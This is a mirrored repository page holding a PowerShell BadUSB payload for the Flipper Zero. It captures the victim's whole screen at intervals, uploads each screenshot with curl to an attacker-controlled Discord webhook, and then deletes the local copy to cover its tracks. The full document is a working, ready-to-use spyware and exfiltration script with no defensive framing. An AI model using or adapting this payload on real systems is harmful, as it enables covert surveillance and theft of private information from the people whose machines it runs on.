mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-12 15:50:08 -08:00
30 lines
842 B
PowerShell
30 lines
842 B
PowerShell
|
|
$seconds = 30 # Screenshot interval
|
|
$a = 1 # Sceenshot amount
|
|
|
|
$hookurl = "$dc"
|
|
if ($hookurl.Length -lt 120){
|
|
$hookurl = ("https://discord.com/api/webhooks/" + "$dc")
|
|
}
|
|
|
|
While ($a -gt 0){
|
|
$Filett = "$env:temp\SC.png"
|
|
Add-Type -AssemblyName System.Windows.Forms
|
|
Add-type -AssemblyName System.Drawing
|
|
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
|
|
$Width = $Screen.Width
|
|
$Height = $Screen.Height
|
|
$Left = $Screen.Left
|
|
$Top = $Screen.Top
|
|
$bitmap = New-Object System.Drawing.Bitmap $Width, $Height
|
|
$graphic = [System.Drawing.Graphics]::FromImage($bitmap)
|
|
$graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)
|
|
$bitmap.Save($Filett, [System.Drawing.Imaging.ImageFormat]::png)
|
|
Start-Sleep 1
|
|
curl.exe -F "file1=@$filett" $hookurl
|
|
Start-Sleep 1
|
|
Remove-Item -Path $filett
|
|
Start-Sleep $seconds
|
|
$a--
|
|
}
|